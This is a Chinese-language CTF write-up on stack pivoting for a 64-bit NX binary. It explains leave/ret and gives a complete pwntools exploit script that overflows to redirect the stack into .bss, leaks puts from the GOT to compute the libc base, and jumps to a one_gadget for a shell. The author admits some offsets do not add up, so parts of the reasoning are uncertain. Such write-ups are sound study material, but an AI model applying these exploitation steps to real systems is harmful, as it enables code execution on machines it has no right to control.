确实之前对栈迁移不熟,这题也是看别人wp做的,也复习了一遍栈迁移,
check
64位,开了NX
这里栈上可以溢出 0x10 。
read 再向 bss 写,也就是把栈迁过去再写。
leave_ret指令:
#leave相当于:
mov esp, ebp;
pop ebp; #关闭当前函数调用栈,将栈底值还原
#ret相当于:
pop eip #给 eip 赋值
pop 指令是把栈顶的值弹到指定的寄存器,也就是说 rsp 会自动的减一个单位(向低地址走)。
我用 0x601080(bss开头) 去做栈迁移,不得行。看其他师傅wp讲,bank的地址距离got表很近,只隔着 0x30 的距离,而调用puts很吃栈空间,因此我们在做栈迁移的时候要把地址相对的抬高些
第一次溢出,覆盖rbp为 0x601080
通过20次 ret ,抬高栈空间
第二次溢出
个人理解起来,栈迁移就是对 leave 和 ret 两条指令的灵活运用。
#__coding:utf-8__
from pwn import*
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.log_level='debug'
leave=0x0000000000400699
ret=0x000000000040069A
bss_fake_rsp=0x0000000000601080
bss_fake_rbp=0x00000000006010E0
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
rdi=0x0000000000400703
main=0x0400626
p.recvuntil('want\n')
payload='a'*0x60+p64(bss_fake_rsp)+p64(leave)
p.send(payload)
#gdb.attach(p)
p.recvuntil('now!\n')
#这里用 ret 指令来增长栈空间也能保持 eip 指向下一个高地址,可以理解为使栈空间变成。
payload2=p64(ret)*21+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.send(payload2)
#gdb.attach(p)
puts=u64(p.recv(6).ljust(8,'\x00'))
print('puts:',hex(puts))
libc_base=puts-libc.symbols['puts']
print('libc_base:',hex(libc_base))
one1 = [0x45226,0x4527a,0xf0364,0xf1207]
one2 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+one1[1]
payload3='a'*0x68+p64(one_gadget)
p.send(payload3)
p.interactive()
依然有些地方没弄懂,ret抬高栈空间到底是怎么操作的,我计算的偏移也对不上,0x80 到 0xd0 为 0x50 个字节,每次 ret 抬高 0x8 的话16次就够了,调试也看不了具体的汇编代码。
等个后续
11月份了,蹲个作者后续😋